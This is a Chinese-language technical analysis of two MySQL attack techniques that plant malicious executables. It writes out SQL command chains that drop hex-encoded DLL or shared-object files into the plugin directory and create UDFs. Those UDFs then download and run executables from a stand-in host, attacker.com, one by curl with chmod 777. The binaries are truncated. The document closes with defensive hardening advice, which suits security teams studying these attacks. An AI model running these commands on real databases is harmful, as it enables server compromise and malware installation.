深入探索数据库攻击技术 Part 4:通过SQL命令投递和执行恶意可执行文件(MySQL)
字数 1086 2025-08-29 08:32:09
通过SQL命令在MySQL中投递和执行恶意可执行文件的技术分析
技术背景
MySQL数据库系统允许通过SQL命令创建和执行可执行文件,攻击者可以利用这一特性在目标系统上投递和执行恶意荷载。本技术文档详细分析两种主要攻击方法及其实现细节。
方法一:通过SQL执行DLL/共享对象
攻击流程
-
HEX编码转换
- 将DLL(Windows)或共享对象(Linux)转换为HEX字符串
- 将HEX字符串加载到新建的数据表中
-
文件创建
- 使用
SELECT FROM TABLE ... INTO DUMPFILE命令 - 将HEX数据提取到MySQL插件目录中的文件中(如
cna12.dll)
- 使用
-
函数创建
- 通过
CREATE FUNCTION命令创建新函数(如xpdl3()) - 该函数实际作为下载器使用
- 通过
-
恶意代码执行
- 函数通过HTTP请求从远程服务器下载可执行文件(如
123.exe) - 文件保存到目标系统(如
c:\isetup.exe) - 执行文件后从磁盘删除
- 函数通过HTTP请求从远程服务器下载可执行文件(如
关键命令示例
-- 创建表并插入HEX编码的DLL
CREATE TABLE yongger2(data LONGBLOB);
INSERT INTO yongger2 VALUES(0x4D5A900003000000...);
-- 将DLL写入插件目录
SELECT data FROM yongger2 INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.0/lib/plugin/cna12.dll';
-- 创建函数
CREATE FUNCTION xpdl3 RETURNS STRING SONAME 'cna12.dll';
-- 调用函数执行下载
SELECT xpdl3('http://attacker.com/123.exe', 'c:\\isetup.exe');
方法二:通过操作系统执行共享对象
攻击流程
-
二进制文件创建
- 使用
UNHEX函数将HEX编码的共享对象解码 - 转储到MySQL插件目录中的文件
- 使用
-
权限设置
- 将
log_bin_trust_function_creators系统变量设为1 - 需要SUPER权限或声明函数为确定性
- 将
-
UDF创建
- 通过共享对象创建用户定义函数(如
sys_eval)
- 通过共享对象创建用户定义函数(如
-
恶意代码执行
- 调用函数下载可执行文件(使用cURL)
- 修改文件权限为777
- 执行文件
关键命令示例
-- 将共享对象写入插件目录
SELECT UNHEX('7F454C46010101000000000000000000...')
INTO DUMPFILE '/usr/lib/mysql/plugin/evil.so';
-- 设置权限
SET GLOBAL log_bin_trust_function_creators=1;
-- 创建UDF
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'evil.so';
-- 调用函数执行命令
SELECT sys_eval('curl http://attacker.com/malware -o /tmp/malware && chmod 777 /tmp/malware && /tmp/malware');
技术要点总结
-
文件写入要求
- MySQL插件目录必须可写
- 需要知道
plugin_dir系统变量的值
-
权限要求
- 方法一需要文件写入权限
- 方法二需要SUPER权限或能够修改全局变量
-
UDF利用
- 两种方法都利用了MySQL的用户定义函数功能
- 通过外部程序库(DLL/SO)加载恶意函数
-
隐蔽性技术
- 使用HEX编码隐藏二进制内容
- 执行后删除文件痕迹
- 通过合法MySQL功能实现恶意操作
防御建议
-
权限控制
- 限制MySQL用户的SUPER权限
- 设置
secure_file_priv限制文件导出位置
-
配置加固
- 保持
log_bin_trust_function_creators=0 - 限制插件目录的写入权限
- 保持
-
监控措施
- 监控异常的文件创建操作
- 审计UDF创建和使用情况
- 检测异常的HEX编码SQL语句
-
系统加固
- 定期更新MySQL版本
- 限制MySQL服务器的网络出站连接
通过理解这些攻击技术,安全团队可以更好地防御针对MySQL数据库的恶意文件投递和执行攻击。